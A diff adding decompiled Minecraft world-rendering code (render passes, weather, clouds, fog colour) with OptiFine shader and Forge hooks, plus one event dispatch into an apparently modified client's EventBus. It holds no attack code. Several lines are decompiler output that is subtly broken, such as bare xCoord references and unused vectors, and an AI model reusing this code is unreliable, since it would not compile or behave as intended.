+      ItemStack var3 = ((EntityPlayer)var1).getCurrentEquippedItem();
+      
+      if ((mc.objectMouseOver != null) && (mc.objectMouseOver.typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK))
+      {
+        BlockPos var4 = mc.objectMouseOver.func_178782_a();
+        IBlockState state = mc.theWorld.getBlockState(var4);
+        Block var5 = state.getBlock();
+        
+        if (mc.playerController.func_178889_l() == net.minecraft.world.WorldSettings.GameType.SPECTATOR)
+        {
+          var2 = (ReflectorForge.blockHasTileEntity(state)) && ((mc.theWorld.getTileEntity(var4) instanceof IInventory));
+        }
+        else
+        {
+          var2 = (var3 != null) && ((var3.canDestroy(var5)) || (var3.canPlaceOn(var5)));
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+  private void func_175067_i(float p_175067_1_)
+  {
+    if ((mc.gameSettings.showDebugInfo) && (!mc.gameSettings.hideGUI) && (!mc.thePlayer.func_175140_cp()) && (!mc.gameSettings.field_178879_v))
+    {
+      Entity var2 = mc.func_175606_aa();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      GL11.glLineWidth(1.0F);
+      GlStateManager.func_179090_x();
+      GlStateManager.depthMask(false);
+      GlStateManager.pushMatrix();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.loadIdentity();
+      orientCamera(p_175067_1_);
+      GlStateManager.translate(0.0F, var2.getEyeHeight(), 0.0F);
+      RenderGlobal.drawOutlinedBoundingBox(new AxisAlignedBB(0.0D, 0.0D, 0.0D, 0.005D, 1.0E-4D, 1.0E-4D), -65536);
+      RenderGlobal.drawOutlinedBoundingBox(new AxisAlignedBB(0.0D, 0.0D, 0.0D, 1.0E-4D, 1.0E-4D, 0.005D), -16776961);
+      RenderGlobal.drawOutlinedBoundingBox(new AxisAlignedBB(0.0D, 0.0D, 0.0D, 1.0E-4D, 0.0033D, 1.0E-4D), -16711936);
+      GlStateManager.popMatrix();
+      GlStateManager.depthMask(true);
+      GlStateManager.func_179098_w();
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  public void renderWorld(float partialTicks, long finishTimeNano)
+  {
+    updateLightmap(partialTicks);
+    
+    if (mc.func_175606_aa() == null)
+    {
+      mc.func_175607_a(mc.thePlayer);
+    }
+    
+    getMouseOver(partialTicks);
+    
+    if (Config.isShaders())
+    {
+      Shaders.beginRender(mc, partialTicks, finishTimeNano);
+    }
+    
+    GlStateManager.enableDepth();
+    GlStateManager.enableAlpha();
+    GlStateManager.alphaFunc(516, 0.1F);
+    mc.mcProfiler.startSection("center");
+    
+    if (mc.gameSettings.anaglyph)
+    {
+      anaglyphField = 0;
+      GlStateManager.colorMask(false, true, true, false);
+      func_175068_a(0, partialTicks, finishTimeNano);
+      anaglyphField = 1;
+      GlStateManager.colorMask(true, false, false, false);
+      func_175068_a(1, partialTicks, finishTimeNano);
+      GlStateManager.colorMask(true, true, true, false);
+    }
+    else
+    {
+      func_175068_a(2, partialTicks, finishTimeNano);
+    }
+    
+    mc.mcProfiler.endSection();
+  }
+  
+  private void func_175068_a(int pass, float partialTicks, long finishTimeNano)
+  {
+    boolean isShaders = Config.isShaders();
+    
+    if (isShaders)
+    {
+      Shaders.beginRenderPass(pass, partialTicks, finishTimeNano);
+    }
+    
+    RenderGlobal var5 = mc.renderGlobal;
+    EffectRenderer var6 = mc.effectRenderer;
+    boolean var7 = func_175070_n();
+    GlStateManager.enableCull();
+    mc.mcProfiler.endStartSection("clear");
+    
+    if (isShaders)
+    {
+      Shaders.setViewport(0, 0, mc.displayWidth, mc.displayHeight);
+    }
+    else
+    {
+      GlStateManager.viewport(0, 0, mc.displayWidth, mc.displayHeight);
+    }
+    
+    updateFogColor(partialTicks);
+    GlStateManager.clear(16640);
+    
+    if (isShaders)
+    {
+      Shaders.clearRenderBuffer();
+    }
+    
+    mc.mcProfiler.endStartSection("camera");
+    setupCameraTransform(partialTicks, pass);
+    
+    if (isShaders)
+    {
+      Shaders.setCamera(partialTicks);
+    }
+    
+    ActiveRenderInfo.updateRenderInfo(mc.thePlayer, mc.gameSettings.thirdPersonView == 2);
+    mc.mcProfiler.endStartSection("frustum");
+    net.minecraft.client.renderer.culling.ClippingHelperImpl.getInstance();
+    mc.mcProfiler.endStartSection("culling");
+    Frustrum var8 = new Frustrum();
+    Entity var9 = mc.func_175606_aa();
+    double var10 = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+    double var12 = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+    double var14 = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+    
+    if (isShaders)
+    {
+      ShadersRender.setFrustrumPosition(var8, var10, var12, var14);
+    }
+    else
+    {
+      var8.setPosition(var10, var12, var14);
+    }
+    
+    if (((Config.isSkyEnabled()) || (Config.isSunMoonEnabled()) || (Config.isStarsEnabled())) && (!Shaders.isShadowPass))
+    {
+      setupFog(-1, partialTicks);
+      mc.mcProfiler.endStartSection("sky");
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      Project.gluPerspective(getFOVModifier(partialTicks, true), mc.displayWidth / mc.displayHeight, 0.05F, clipDistance);
+      GlStateManager.matrixMode(5888);
+      
+      if (isShaders)
+      {
+        Shaders.beginSky();
+      }
+      
+      var5.func_174976_a(partialTicks, pass);
+      
+      if (isShaders)
+      {
+        Shaders.endSky();
+      }
+      
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      Project.gluPerspective(getFOVModifier(partialTicks, true), mc.displayWidth / mc.displayHeight, 0.05F, clipDistance);
+      GlStateManager.matrixMode(5888);
+    }
+    else
+    {
+      GlStateManager.disableBlend();
+    }
+    
+    setupFog(0, partialTicks);
+    GlStateManager.shadeModel(7425);
+    
+    if (posY + var9.getEyeHeight() < 128.0D + mc.gameSettings.ofCloudsHeight * 128.0F)
+    {
+      func_180437_a(var5, partialTicks, pass);
+    }
+    
+    mc.mcProfiler.endStartSection("prepareterrain");
+    setupFog(0, partialTicks);
+    mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+    RenderHelper.disableStandardItemLighting();
+    mc.mcProfiler.endStartSection("terrain_setup");
+    
+    if (isShaders)
+    {
+      ShadersRender.setupTerrain(var5, var9, partialTicks, var8, field_175084_ae++, mc.thePlayer.func_175149_v());
+    }
+    else
+    {
+      var5.func_174970_a(var9, partialTicks, var8, field_175084_ae++, mc.thePlayer.func_175149_v());
+    }
+    
+    if ((pass == 0) || (pass == 2))
+    {
+      mc.mcProfiler.endStartSection("updatechunks");
+      Lagometer.timerChunkUpload.start();
+      
+      if (isShaders)
+      {
+        ShadersRender.updateChunks(var5, finishTimeNano);
+      }
+      else
+      {
+        mc.renderGlobal.func_174967_a(finishTimeNano);
+      }
+      
+      Lagometer.timerChunkUpload.end();
+    }
+    
+    mc.mcProfiler.endStartSection("terrain");
+    Lagometer.timerTerrain.start();
+    
+    if ((mc.gameSettings.ofSmoothFps) && (pass > 0))
+    {
+      mc.mcProfiler.endStartSection("finish");
+      GL11.glFinish();
+      mc.mcProfiler.endStartSection("terrain");
+    }
+    
+    GlStateManager.matrixMode(5888);
+    GlStateManager.pushMatrix();
+    GlStateManager.disableAlpha();
+    
+    if (isShaders)
+    {
+      ShadersRender.beginTerrainSolid();
+    }
+    
+    var5.func_174977_a(EnumWorldBlockLayer.SOLID, partialTicks, pass, var9);
+    GlStateManager.enableAlpha();
+    
+    if (isShaders)
+    {
+      ShadersRender.beginTerrainCutoutMipped();
+    }
+    
+    var5.func_174977_a(EnumWorldBlockLayer.CUTOUT_MIPPED, partialTicks, pass, var9);
+    mc.getTextureManager().getTexture(TextureMap.locationBlocksTexture).func_174936_b(false, false);
+    
+    if (isShaders)
+    {
+      ShadersRender.beginTerrainCutout();
+    }
+    
+    var5.func_174977_a(EnumWorldBlockLayer.CUTOUT, partialTicks, pass, var9);
+    mc.getTextureManager().getTexture(TextureMap.locationBlocksTexture).func_174935_a();
+    
+    if (isShaders)
+    {
+      ShadersRender.endTerrain();
+    }
+    
+    Lagometer.timerTerrain.end();
+    GlStateManager.shadeModel(7424);
+    GlStateManager.alphaFunc(516, 0.1F);
+    
+
+    if (!field_175078_W)
+    {
+      GlStateManager.matrixMode(5888);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      RenderHelper.enableStandardItemLighting();
+      mc.mcProfiler.endStartSection("entities");
+      
+      if (Reflector.ForgeHooksClient_setRenderPass.exists())
+      {
+        Reflector.callVoid(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(0) });
+      }
+      
+      var5.func_180446_a(var9, var8, partialTicks);
+      
+      if (Reflector.ForgeHooksClient_setRenderPass.exists())
+      {
+        Reflector.callVoid(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(-1) });
+      }
+      
+      RenderHelper.disableStandardItemLighting();
+      func_175072_h();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      
+      if ((mc.objectMouseOver != null) && (var9.isInsideOfMaterial(Material.water)) && (var7))
+      {
+        EntityPlayer var16 = (EntityPlayer)var9;
+        GlStateManager.disableAlpha();
+        mc.mcProfiler.endStartSection("outline");
+        
+        if (Reflector.ForgeHooksClient_onDrawBlockHighlight.exists()) { if (Reflector.callBoolean(Reflector.ForgeHooksClient_onDrawBlockHighlight, new Object[] { var5, var16, mc.objectMouseOver, Integer.valueOf(0), var16.getHeldItem(), Float.valueOf(partialTicks) })) {} } else if (!mc.gameSettings.hideGUI)
+        {
+          var5.drawSelectionBox(var16, mc.objectMouseOver, 0, partialTicks);
+        }
+        GlStateManager.enableAlpha();
+      }
+    }
+    
+    GlStateManager.matrixMode(5888);
+    GlStateManager.popMatrix();
+    
+    if ((var7) && (mc.objectMouseOver != null) && (!var9.isInsideOfMaterial(Material.water)))
+    {
+      EntityPlayer var16 = (EntityPlayer)var9;
+      GlStateManager.disableAlpha();
+      mc.mcProfiler.endStartSection("outline");
+      
+      if (Reflector.ForgeHooksClient_onDrawBlockHighlight.exists()) { if (Reflector.callBoolean(Reflector.ForgeHooksClient_onDrawBlockHighlight, new Object[] { var5, var16, mc.objectMouseOver, Integer.valueOf(0), var16.getHeldItem(), Float.valueOf(partialTicks) })) {} } else if (!mc.gameSettings.hideGUI)
+      {
+        var5.drawSelectionBox(var16, mc.objectMouseOver, 0, partialTicks);
+      }
+      GlStateManager.enableAlpha();
+    }
+    
+    if (!damagedBlocks.isEmpty())
+    {
+      mc.mcProfiler.endStartSection("destroyProgress");
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 1, 1, 0);
+      var5.func_174981_a(Tessellator.getInstance(), Tessellator.getInstance().getWorldRenderer(), var9, partialTicks);
+      GlStateManager.disableBlend();
+    }
+    
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.disableBlend();
+    
+    if (!field_175078_W)
+    {
+      func_180436_i();
+      mc.mcProfiler.endStartSection("litParticles");
+      
+      if (isShaders)
+      {
+        Shaders.beginLitParticles();
+      }
+      
+      var6.renderLitParticles(var9, partialTicks);
+      RenderHelper.disableStandardItemLighting();
+      setupFog(0, partialTicks);
+      mc.mcProfiler.endStartSection("particles");
+      
+      if (isShaders)
+      {
+        Shaders.beginParticles();
+      }
+      
+      var6.renderParticles(var9, partialTicks);
+      
+      if (isShaders)
+      {
+        Shaders.endParticles();
+      }
+      
+      func_175072_h();
+    }
+    
+    GlStateManager.depthMask(false);
+    GlStateManager.enableCull();
+    mc.mcProfiler.endStartSection("weather");
+    
+    if (isShaders)
+    {
+      Shaders.beginWeather();
+    }
+    
+    renderRainSnow(partialTicks);
+    
+    if (isShaders)
+    {
+      Shaders.endWeather();
+    }
+    
+    GlStateManager.depthMask(true);
+    var5.func_180449_a(var9, partialTicks);
+    
+    if (isShaders)
+    {
+      ShadersRender.renderHand0(this, partialTicks, pass);
+      Shaders.preWater();
+    }
+    
+    GlStateManager.disableBlend();
+    GlStateManager.enableCull();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.alphaFunc(516, 0.1F);
+    setupFog(0, partialTicks);
+    GlStateManager.enableBlend();
+    GlStateManager.depthMask(false);
+    mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+    GlStateManager.shadeModel(7425);
+    
+    if (Config.isTranslucentBlocksFancy())
+    {
+      mc.mcProfiler.endStartSection("translucent");
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      
+      if (isShaders)
+      {
+        Shaders.beginWater();
+      }
+      
+      var5.func_174977_a(EnumWorldBlockLayer.TRANSLUCENT, partialTicks, pass, var9);
+      
+      if (isShaders)
+      {
+        Shaders.endWater();
+      }
+      
+      GlStateManager.disableBlend();
+    }
+    else
+    {
+      mc.mcProfiler.endStartSection("translucent");
+      
+      if (isShaders)
+      {
+        Shaders.beginWater();
+      }
+      
+      var5.func_174977_a(EnumWorldBlockLayer.TRANSLUCENT, partialTicks, pass, var9);
+      
+      if (isShaders)
+      {
+        Shaders.endWater();
+      }
+    }
+    
+    if ((Reflector.ForgeHooksClient_setRenderPass.exists()) && (!field_175078_W))
+    {
+      RenderHelper.enableStandardItemLighting();
+      mc.mcProfiler.endStartSection("entities");
+      Reflector.callVoid(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(1) });
+      mc.renderGlobal.func_180446_a(var9, var8, partialTicks);
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      Reflector.callVoid(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(-1) });
+      RenderHelper.disableStandardItemLighting();
+    }
+    
+    GlStateManager.shadeModel(7424);
+    GlStateManager.depthMask(true);
+    GlStateManager.enableCull();
+    GlStateManager.disableBlend();
+    GlStateManager.disableFog();
+    
+    if (posY + var9.getEyeHeight() >= 128.0D + mc.gameSettings.ofCloudsHeight * 128.0F)
+    {
+      mc.mcProfiler.endStartSection("aboveClouds");
+      func_180437_a(var5, partialTicks, pass);
+    }
+    
+    if (Reflector.ForgeHooksClient_dispatchRenderLast.exists())
+    {
+      mc.mcProfiler.endStartSection("forge_render_last");
+      Reflector.callVoid(Reflector.ForgeHooksClient_dispatchRenderLast, new Object[] { var5, Float.valueOf(partialTicks) });
+    }
+    
+    mc.mcProfiler.endStartSection("hand");
+    boolean handRendered = Reflector.callBoolean(Reflector.ForgeHooksClient_renderFirstPersonHand, new Object[] { mc.renderGlobal, Float.valueOf(partialTicks), Integer.valueOf(pass) });
+    
+
+    GL11.glPushMatrix();
+    EventBus.getInstance().call(new com.enjoytheban.api.events.rendering.EventRender3D(partialTicks));
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPopMatrix();
+    
+    if ((!handRendered) && (field_175074_C) && (!Shaders.isShadowPass))
+    {
+      if (isShaders)
+      {
+        ShadersRender.renderHand1(this, partialTicks, pass);
+        Shaders.renderCompositeFinal();
+      }
+      
+      GlStateManager.clear(256);
+      
+      if (isShaders)
+      {
+        ShadersRender.renderFPOverlay(this, partialTicks, pass);
+      }
+      else
+      {
+        renderHand(partialTicks, pass);
+      }
+      
+      func_175067_i(partialTicks);
+    }
+    
+    if (isShaders)
+    {
+      Shaders.endRender();
+    }
+  }
+  
+  private void func_180437_a(RenderGlobal p_180437_1_, float partialTicks, int pass)
+  {
+    if ((mc.gameSettings.renderDistanceChunks >= 4) && (!Config.isCloudsOff()) && (Shaders.shouldRenderClouds(mc.gameSettings)))
+    {
+      mc.mcProfiler.endStartSection("clouds");
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      Project.gluPerspective(getFOVModifier(partialTicks, true), mc.displayWidth / mc.displayHeight, 0.05F, clipDistance * 4.0F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.pushMatrix();
+      setupFog(0, partialTicks);
+      p_180437_1_.func_180447_b(partialTicks, pass);
+      GlStateManager.disableFog();
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      Project.gluPerspective(getFOVModifier(partialTicks, true), mc.displayWidth / mc.displayHeight, 0.05F, clipDistance);
+      GlStateManager.matrixMode(5888);
+    }
+  }
+  
+  private void addRainParticles()
+  {
+    float var1 = mc.theWorld.getRainStrength(1.0F);
+    
+    if (!Config.isRainFancy())
+    {
+      var1 /= 2.0F;
+    }
+    
+    if ((var1 != 0.0F) && (Config.isRainSplash()))
+    {
+      random.setSeed(rendererUpdateCount * 312987231L);
+      Entity var2 = mc.func_175606_aa();
+      WorldClient var3 = mc.theWorld;
+      BlockPos var4 = new BlockPos(var2);
+      byte var5 = 10;
+      double var6 = 0.0D;
+      double var8 = 0.0D;
+      double var10 = 0.0D;
+      int var12 = 0;
+      int var13 = (int)(100.0F * var1 * var1);
+      
+      if (mc.gameSettings.particleSetting == 1)
+      {
+        var13 >>= 1;
+      }
+      else if (mc.gameSettings.particleSetting == 2)
+      {
+        var13 = 0;
+      }
+      
+      for (int var14 = 0; var14 < var13; var14++)
+      {
+        BlockPos var15 = var3.func_175725_q(var4.add(random.nextInt(var5) - random.nextInt(var5), 0, random.nextInt(var5) - random.nextInt(var5)));
+        BiomeGenBase var16 = var3.getBiomeGenForCoords(var15);
+        BlockPos var17 = var15.offsetDown();
+        Block var18 = var3.getBlockState(var17).getBlock();
+        
+        if ((var15.getY() <= var4.getY() + var5) && (var15.getY() >= var4.getY() - var5) && (var16.canSpawnLightningBolt()) && (var16.func_180626_a(var15) >= 0.15F))
+        {
+          float var19 = random.nextFloat();
+          float var20 = random.nextFloat();
+          
+          if (var18.getMaterial() == Material.lava)
+          {
+            mc.theWorld.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var15.getX() + var19, var15.getY() + 0.1F - var18.getBlockBoundsMinY(), var15.getZ() + var20, 0.0D, 0.0D, 0.0D, new int[0]);
+          }
+          else if (var18.getMaterial() != Material.air)
+          {
+            var18.setBlockBoundsBasedOnState(var3, var17);
+            var12++;
+            
+            if (random.nextInt(var12) == 0)
+            {
+              var6 = var17.getX() + var19;
+              var8 = var17.getY() + 0.1F + var18.getBlockBoundsMaxY() - 1.0D;
+              var10 = var17.getZ() + var20;
+            }
+            
+            mc.theWorld.spawnParticle(EnumParticleTypes.WATER_DROP, var17.getX() + var19, var17.getY() + 0.1F + var18.getBlockBoundsMaxY(), var17.getZ() + var20, 0.0D, 0.0D, 0.0D, new int[0]);
+          }
+        }
+      }
+      
+      if ((var12 > 0) && (random.nextInt(3) < rainSoundCounter++))
+      {
+        rainSoundCounter = 0;
+        
+        if ((var8 > var4.getY() + 1) && (var3.func_175725_q(var4).getY() > MathHelper.floor_float(var4.getY())))
+        {
+          mc.theWorld.playSound(var6, var8, var10, "ambient.weather.rain", 0.1F, 0.5F, false);
+        }
+        else
+        {
+          mc.theWorld.playSound(var6, var8, var10, "ambient.weather.rain", 0.2F, 1.0F, false);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected void renderRainSnow(float partialTicks)
+  {
+    if (Reflector.ForgeWorldProvider_getWeatherRenderer.exists())
+    {
+      WorldProvider var2 = mc.theWorld.provider;
+      Object var3 = Reflector.call(var2, Reflector.ForgeWorldProvider_getWeatherRenderer, new Object[0]);
+      
+      if (var3 != null)
+      {
+        Reflector.callVoid(var3, Reflector.IRenderHandler_render, new Object[] { Float.valueOf(partialTicks), mc.theWorld, mc });
+        return;
+      }
+    }
+    
+    float var421 = mc.theWorld.getRainStrength(partialTicks);
+    
+    if (var421 > 0.0F)
+    {
+      if (Config.isRainOff())
+      {
+        return;
+      }
+      
+      func_180436_i();
+      Entity var431 = mc.func_175606_aa();
+      WorldClient var4 = mc.theWorld;
+      int var5 = MathHelper.floor_double(posX);
+      int var6 = MathHelper.floor_double(posY);
+      int var7 = MathHelper.floor_double(posZ);
+      Tessellator var8 = Tessellator.getInstance();
+      WorldRenderer var9 = var8.getWorldRenderer();
+      GlStateManager.disableCull();
+      GL11.glNormal3f(0.0F, 1.0F, 0.0F);
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      GlStateManager.alphaFunc(516, 0.1F);
+      double var10 = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+      double var12 = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+      double var14 = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+      int var16 = MathHelper.floor_double(var12);
+      byte var17 = 5;
+      
+      if (Config.isRainFancy())
+      {
+        var17 = 10;
+      }
+      
+      byte var18 = -1;
+      float var19 = rendererUpdateCount + partialTicks;
+      
+      if (Config.isRainFancy())
+      {
+        var17 = 10;
+      }
+      
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      
+      for (int var20 = var7 - var17; var20 <= var7 + var17; var20++)
+      {
+        for (int var21 = var5 - var17; var21 <= var5 + var17; var21++)
+        {
+          int var22 = (var20 - var7 + 16) * 32 + var21 - var5 + 16;
+          float var23 = field_175076_N[var22] * 0.5F;
+          float var24 = field_175077_O[var22] * 0.5F;
+          BlockPos var25 = new BlockPos(var21, 0, var20);
+          BiomeGenBase var26 = var4.getBiomeGenForCoords(var25);
+          
+          if ((var26.canSpawnLightningBolt()) || (var26.getEnableSnow()))
+          {
+            int var27 = var4.func_175725_q(var25).getY();
+            int var28 = var6 - var17;
+            int var29 = var6 + var17;
+            
+            if (var28 < var27)
+            {
+              var28 = var27;
+            }
+            
+            if (var29 < var27)
+            {
+              var29 = var27;
+            }
+            
+            float var30 = 1.0F;
+            int var31 = var27;
+            
+            if (var27 < var16)
+            {
+              var31 = var16;
+            }
+            
+            if (var28 != var29)
+            {
+              random.setSeed(var21 * var21 * 3121 + var21 * 45238971 ^ var20 * var20 * 418711 + var20 * 13761);
+              float var32 = var26.func_180626_a(new BlockPos(var21, var28, var20));
+              
+
+
+              if (var4.getWorldChunkManager().getTemperatureAtHeight(var32, var27) >= 0.15F)
+              {
+                if (var18 != 0)
+                {
+                  if (var18 >= 0)
+                  {
+                    var8.draw();
+                  }
+                  
+                  var18 = 0;
+                  mc.getTextureManager().bindTexture(locationRainPng);
+                  var9.startDrawingQuads();
+                }
+                
+                float var33 = ((rendererUpdateCount + var21 * var21 * 3121 + var21 * 45238971 + var20 * var20 * 418711 + var20 * 13761 & 0x1F) + partialTicks) / 32.0F * (3.0F + random.nextFloat());
+                double var42 = var21 + 0.5F - posX;
+                double var36 = var20 + 0.5F - posZ;
+                float var43 = MathHelper.sqrt_double(var42 * var42 + var36 * var36) / var17;
+                float var39 = 1.0F;
+                var9.func_178963_b(var4.getCombinedLight(new BlockPos(var21, var31, var20), 0));
+                var9.func_178960_a(var39, var39, var39, ((1.0F - var43 * var43) * 0.5F + 0.5F) * var421);
+                var9.setTranslation(-var10 * 1.0D, -var12 * 1.0D, -var14 * 1.0D);
+                var9.addVertexWithUV(var21 - var23 + 0.5D, var28, var20 - var24 + 0.5D, 0.0F * var30, var28 * var30 / 4.0F + var33 * var30);
+                var9.addVertexWithUV(var21 + var23 + 0.5D, var28, var20 + var24 + 0.5D, 1.0F * var30, var28 * var30 / 4.0F + var33 * var30);
+                var9.addVertexWithUV(var21 + var23 + 0.5D, var29, var20 + var24 + 0.5D, 1.0F * var30, var29 * var30 / 4.0F + var33 * var30);
+                var9.addVertexWithUV(var21 - var23 + 0.5D, var29, var20 - var24 + 0.5D, 0.0F * var30, var29 * var30 / 4.0F + var33 * var30);
+                var9.setTranslation(0.0D, 0.0D, 0.0D);
+              }
+              else
+              {
+                if (var18 != 1)
+                {
+                  if (var18 >= 0)
+                  {
+                    var8.draw();
+                  }
+                  
+                  var18 = 1;
+                  mc.getTextureManager().bindTexture(locationSnowPng);
+                  var9.startDrawingQuads();
+                }
+                
+                float var33 = ((rendererUpdateCount & 0x1FF) + partialTicks) / 512.0F;
+                float var44 = random.nextFloat() + var19 * 0.01F * (float)random.nextGaussian();
+                float var35 = random.nextFloat() + var19 * (float)random.nextGaussian() * 0.001F;
+                double var36 = var21 + 0.5F - posX;
+                double var45 = var20 + 0.5F - posZ;
+                float var40 = MathHelper.sqrt_double(var36 * var36 + var45 * var45) / var17;
+                float var41 = 1.0F;
+                var9.func_178963_b((var4.getCombinedLight(new BlockPos(var21, var31, var20), 0) * 3 + 15728880) / 4);
+                var9.func_178960_a(var41, var41, var41, ((1.0F - var40 * var40) * 0.3F + 0.5F) * var421);
+                var9.setTranslation(-var10 * 1.0D, -var12 * 1.0D, -var14 * 1.0D);
+                var9.addVertexWithUV(var21 - var23 + 0.5D, var28, var20 - var24 + 0.5D, 0.0F * var30 + var44, var28 * var30 / 4.0F + var33 * var30 + var35);
+                var9.addVertexWithUV(var21 + var23 + 0.5D, var28, var20 + var24 + 0.5D, 1.0F * var30 + var44, var28 * var30 / 4.0F + var33 * var30 + var35);
+                var9.addVertexWithUV(var21 + var23 + 0.5D, var29, var20 + var24 + 0.5D, 1.0F * var30 + var44, var29 * var30 / 4.0F + var33 * var30 + var35);
+                var9.addVertexWithUV(var21 - var23 + 0.5D, var29, var20 - var24 + 0.5D, 0.0F * var30 + var44, var29 * var30 / 4.0F + var33 * var30 + var35);
+                var9.setTranslation(0.0D, 0.0D, 0.0D);
+              }
+            }
+          }
+        }
+      }
+      
+      if (var18 >= 0)
+      {
+        var8.draw();
+      }
+      
+      GlStateManager.enableCull();
+      GlStateManager.disableBlend();
+      GlStateManager.alphaFunc(516, 0.1F);
+      func_175072_h();
+    }
+  }
+  
+
+
+
+  public void setupOverlayRendering()
+  {
+    ScaledResolution var1 = new ScaledResolution(mc);
+    GlStateManager.clear(256);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    GlStateManager.ortho(0.0D, var1.getScaledWidth_double(), var1.getScaledHeight_double(), 0.0D, 1000.0D, 3000.0D);
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+  }
+  
+
+
+
+  private void updateFogColor(float partialTicks)
+  {
+    WorldClient var2 = mc.theWorld;
+    Entity var3 = mc.func_175606_aa();
+    float var4 = 0.25F + 0.75F * mc.gameSettings.renderDistanceChunks / 32.0F;
+    var4 = 1.0F - (float)Math.pow(var4, 0.25D);
+    Vec3 var5 = var2.getSkyColor(mc.func_175606_aa(), partialTicks);
+    var5 = CustomColors.getWorldSkyColor(var5, var2, mc.func_175606_aa(), partialTicks);
+    float var6 = (float)xCoord;
+    float var7 = (float)yCoord;
+    float var8 = (float)zCoord;
+    Vec3 var9 = var2.getFogColor(partialTicks);
+    var9 = CustomColors.getWorldFogColor(var9, var2, mc.func_175606_aa(), partialTicks);
+    field_175080_Q = ((float)xCoord);
+    field_175082_R = ((float)yCoord);
+    field_175081_S = ((float)zCoord);
+    
+
+    if (mc.gameSettings.renderDistanceChunks >= 4)
+    {
+      double var19 = -1.0D;
+      Vec3 var20 = MathHelper.sin(var2.getCelestialAngleRadians(partialTicks)) > 0.0F ? new Vec3(var19, 0.0D, 0.0D) : new Vec3(1.0D, 0.0D, 0.0D);
+      float var13 = (float)var3.getLook(partialTicks).dotProduct(var20);
+      
+      if (var13 < 0.0F)
+      {
+        var13 = 0.0F;
+      }
+      
+      if (var13 > 0.0F)
+      {
+        float[] var21 = provider.calcSunriseSunsetColors(var2.getCelestialAngle(partialTicks), partialTicks);
+        
+        if (var21 != null)
+        {
+          var13 *= var21[3];
+          field_175080_Q = (field_175080_Q * (1.0F - var13) + var21[0] * var13);
+          field_175082_R = (field_175082_R * (1.0F - var13) + var21[1] * var13);
+          field_175081_S = (field_175081_S * (1.0F - var13) + var21[2] * var13);
+        }
+      }
+    }
+    
+    field_175080_Q += (var6 - field_175080_Q) * var4;
+    field_175082_R += (var7 - field_175082_R) * var4;
+    field_175081_S += (var8 - field_175081_S) * var4;
+    float var191 = var2.getRainStrength(partialTicks);
+    
+
+
+    if (var191 > 0.0F)
+    {
+      float var11 = 1.0F - var191 * 0.5F;
+      float var201 = 1.0F - var191 * 0.4F;
+      field_175080_Q *= var11;
+      field_175082_R *= var11;
+      field_175081_S *= var201;
+    }
+    
+    float var11 = var2.getWeightedThunderStrength(partialTicks);
+    
+    if (var11 > 0.0F)
+    {
+      float var201 = 1.0F - var11 * 0.5F;
+      field_175080_Q *= var201;
+      field_175082_R *= var201;
+      field_175081_S *= var201;
+    }
+    
+    Block var211 = ActiveRenderInfo.func_180786_a(mc.theWorld, var3, partialTicks);
+    
+
+    if (cloudFog)
+    {
+      Vec3 fogYFactor = var2.getCloudColour(partialTicks);
+      field_175080_Q = ((float)xCoord);
+      field_175082_R = ((float)yCoord);
+      field_175081_S = ((float)zCoord);
+    }
+    else if (var211.getMaterial() == Material.water)
+    {
+      float var13 = EnchantmentHelper.func_180319_a(var3) * 0.2F;
+      
+      if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).isPotionActive(Potion.waterBreathing)))
+      {
+        var13 = var13 * 0.3F + 0.6F;
+      }
+      
+      field_175080_Q = (0.02F + var13);
+      field_175082_R = (0.02F + var13);
+      field_175081_S = (0.2F + var13);
+      Vec3 fogYFactor = CustomColors.getUnderwaterColor(mc.theWorld, mc.func_175606_aa().posX, mc.func_175606_aa().posY + 1.0D, mc.func_175606_aa().posZ);
+      
+      if (fogYFactor != null)
+      {
+        field_175080_Q = ((float)xCoord);
+        field_175082_R = ((float)yCoord);
+        field_175081_S = ((float)zCoord);
+      }
+    }
+    else if (var211.getMaterial() == Material.lava)
+    {
+      field_175080_Q = 0.6F;
+      field_175082_R = 0.1F;
+      field_175081_S = 0.0F;
+    }
+    
